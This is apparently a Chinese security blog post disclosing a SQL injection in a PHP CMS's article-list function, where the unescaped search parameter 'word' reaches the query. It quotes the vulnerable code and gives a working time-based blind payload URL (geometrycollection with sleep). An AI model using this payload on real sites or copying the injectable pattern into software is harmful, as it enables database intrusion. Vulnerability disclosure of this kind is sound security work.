延时注入,写代码受网速影响比较严重,网速不稳的话,可能误差比较大,当然,你可以适当把sleep数字搞大些,freebuf上面有一个转换成二进制,然后再开8个线程跑数据的思路,这里我就不写了。

延时注入,写代码受网速影响比较严重,网速不稳的话,可能误差比较大,当然,你可以适当把sleep数字搞大些,freebuf上面有一个转换成二进制,然后再开8个线程跑数据的思路,这里我就不写了。

在include/class_temp.php中

function articlelist($mark='',$ispage=true,$pagebtn=2,$auto=true,$bcat=0,$scat='',$lcat='',$size=0,$star=0,$word='',$order='',$searfie='title'){        global $web,$tcz;        if($mark=='special'){            if(!$size)$size=$web['list_size'];            $sql='select * from '.tabname('special_list').' where webid='.$web['id'].' and isdel=0 and special_id='.$tcz['id'].' order by dataid desc';            $spelist=db_getpage($sql,$size,$tcz['page'],'',goif($web['mobiletemp'],'mobile'),$pagebtn);            $list=array();            $web['list_record']=$spelist['num'];            $web['list_page']=$spelist['page'];            foreach($spelist['list'] as $spe){                $tname='article';                if($spe['modtype']>10)$tname.='_'.$web['id'].'_'.$spe['modtype'];                $art=db_getshow($tname,'*','webid='.$web['id'].' and isok=0 and dataid='.$spe['dataid']);                array_push($list,$art);                }            return $list;            }        $order_text='xu desc,sort desc,time_add desc,dataid desc';        if($order!='')$order_text=$order;        $tname='article';        $modtype=db_getone('module','modtype','webid='.$web['id'].goif($bcat,' and classid='.$bcat).goif($mark!='',' and mark="'.$mark.'"'));        if($modtype>10)$tname.='_'.$web['id'].'_'.$modtype;        $searsql='';        $seartype='title';        if($web['list_page']!='')$ispage=false;        if($ispage){            if($word=='')$word=$tcz['word'];            if($word!=''){                switch($tcz['seartype']){                    case 'date':                        $t1=strtotime($word.' 00:00:00');                        $t2=strtotime($word.' 23:59:59');                        if(empty($t1)){                            tipmsg('非法的搜索关键词:'.$word,true);                            }                        $searsql=' and time_add>='.$t1.' and time_add<='.$t2;                    break;                    default:                        if($tcz['seartype']!=''){                            if(strstr(','.$searfie.',',','.$tcz['seartype'].','))$seartype=$tcz['seartype'];                            }                        if(strstr($word,',')){                            $wlist=explode(',',$word);                            foreach($wlist as $w)$searsql.=goif($searsql!='',' or ').'LOCATE("'.$w.'",`'.$seartype.'`)>0';                            $searsql=' and ('.$searsql.')';                        }else $searsql=' and LOCATE("'.$word.'",`'.$seartype.'`)>0';                    break;                    }                }            if(!$size)$size=$web['list_size'];            if(!$bcat&&$tcz['bcat']&&$mark==''&&$auto)$bcat=$tcz['bcat'];            if($scat==''&&$tcz['scat']&&$auto)$scat=$tcz['scat'];            if($lcat==''&&$tcz['lcat']&&$auto)$lcat=$tcz['lcat'];            $sql='select *,if(time_top>'.time().',1,0) as xu from '.tabname($tname).' where webid='.$web['id'].' and isok=0 and '.goif($web['mobiletemp'],'mobile','computer').'=0 and languages="'.$web['templang'].'"'.goif($star,goif($star==9,' and star>0',' and star='.$star)).goif($mark!='',' and mark="'.$mark.'"').goif($bcat,' and bcat='.$bcat).goif($scat!='',' and scat in('.$scat.')').goif($lcat!='',' and lcat in('.$lcat.')').goif($searsql!='',$searsql).' order by '.$order_text;            $list=db_getpage($sql,$size,$tcz['page'],'',goif($web['mobiletemp'],'mobile'),$pagebtn);            $web['list_record']=$list['num'];            $web['list_page']=$list['page'];            return $list['list'];        }else{            $sql='select *,if(time_top>'.time().',1,0) as xu from '.tabname($tname).' where webid='.$web['id'].' and isok=0 and '.goif($web['mobiletemp'],'mobile','computer').'=0 and languages="'.$web['templang'].'"'.goif($star,goif($star==9,' and star>0',' and star='.$star)).goif($mark!='',' and mark="'.$mark.'"').goif($bcat,' and bcat='.$bcat).goif($scat!='',' and scat in('.$scat.')').goif($lcat!='',' and lcat in('.$lcat.')').goif($word!='',' and LOCATE("'.$word.'",`'.$seartype.'`)>0').' order by '.$order_text;            $list=db_getlist($sql,$size);            return $list;            }        }

其中变量$word过滤不得当,导致可以注入,测试了好多语句,最后别人给出的payload是延时注入,发现可以

漏洞验证:

http://127.0.0.1/?log=blog&seartype=title&word=%E9%9C%87%E6%92%BC%22%20and%20geometrycollection((select%20*from(select%20*%20from%20(select%20sleep%20(5))a)b))%20and%20%221%22=%221 

效果页面延时5秒

写了个脚本:
